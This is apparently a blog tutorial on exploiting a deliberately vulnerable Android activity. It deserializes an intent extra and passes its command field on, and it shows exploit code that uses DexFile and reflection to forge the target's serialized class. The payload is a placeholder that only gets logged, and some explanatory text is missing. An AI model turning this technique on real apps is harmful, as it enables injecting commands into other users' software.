Exploiting Android trough an Intent with Reflection

Introduction

Initial Application

The serialized class:

package activity.vulnerable.my.myvunerableactivity;

import java.io.Serializable;

public class CustomData implements Serializable{

    private String cmd;

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }

    public String getCmd() {
        return cmd;
    }
}

The MainActivity :

package activity.vulnerable.my.myvunerableactivity;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class MyVunerableActivity extends AppCompatActivity {

    private static String INTENT_KEY = "customData";

    @Override
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_my_vunerable);
        bundle =  getIntent().getExtras();
        CustomData data;
        if(bundle!=null) {
            data = (CustomData) bundle.getSerializable(INTENT_KEY);
            executeCommand(data.getCmd());
        }
    }

    private void executeCommand(String cmd){
        Log.e("Command executed",cmd);
    }
}

Here, there is few parts to notice :

From there we can try to create our malicious exploiting application.

First Try : Copy the Custom Data class and send it

Exploiting Activity :

package activity.exploit.my.exploit;

import android.content.ComponentName;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;

import java.io.Serializable;

public class MainActivity extends AppCompatActivity {

    private static String INTENT_KEY = "customData";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Here we create our object command
        CustomData data = new CustomData();
        data.setCmd("Malicious command");

        // We add the command to the bundle that will be sent
        Bundle bundle = new Bundle();
        bundle.putSerializable("INTENT_KEY", (Serializable) data);
        Intent intent = new Intent();

        // Here we call the vulnerable application activity
        intent.setComponent(new ComponentName("activity.vulnerable.my.myvunerableactivity", "activity.vulnerable.my.myvunerableactivity.MyVunerableActivity"));
        intent.putExtras(bundle);

        startActivity(intent);
    }
}

That failed … so I asked myself why.

Remember that I made you notice that the full path of the CustomData was activity.vulnerable.my.myvunerableactivity.CustomData in the vulnerable application. Here the full path was not activity.vulnerable.my.myvunerableactivity.CustomData but activity.exploit.my.exploit.CustomData.

The problem was that when you unserialize an Object and cast it to your Class, it compares the full path before doing it, so in our case it could’nt work and I got the following error :

Parcelable encountered ClassNotFoundException reading a Serializable object (name = activity.exploit.my.exploit.CustomData)

Second try : Here comes the reflection

Let’s craft our exploit :

public class MainActivity extends AppCompatActivity {

    private static String INTENT_KEY = "customData";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Here we create our object command
        Object object = null;

        try{
            // Loading vulnerable application DexFile
            PackageManager packageManager = getPackageManager();
            ApplicationInfo appInfo = packageManager.getApplicationInfo("activity.vulnerable.my.myvunerableactivity",0);
            DexFile df =  new DexFile(appInfo.sourceDir);

            // Invoking CustomData class
            ClassLoader cl = getClassLoader();
            Class classToInvestigate = df.loadClass("activity.vulnerable.my.myvunerableactivity.CustomData",cl);
            object = classToInvestigate.newInstance();

            // Setting malicious Payload
            Method method = classToInvestigate.getDeclaredMethod("setCmd",String.class);
            method.invoke(object,"Malicious command's");

        }catch(Exception e){
            e.printStackTrace();
        }

        // We add the command to the bundle that will be sent
        Bundle bundle = new Bundle();
        bundle.putSerializable(INTENT_KEY, (Serializable) object);

        Intent intent = new Intent();

        // Here we call the vulnerable application activity
        intent.setComponent(new ComponentName("activity.vulnerable.my.myvunerableactivity", "activity.vulnerable.my.myvunerableactivity.MyVunerableActivity"));
        intent.putExtras(bundle);

        startActivity(intent);
    }
}

Result :

Command executed: Malicious command's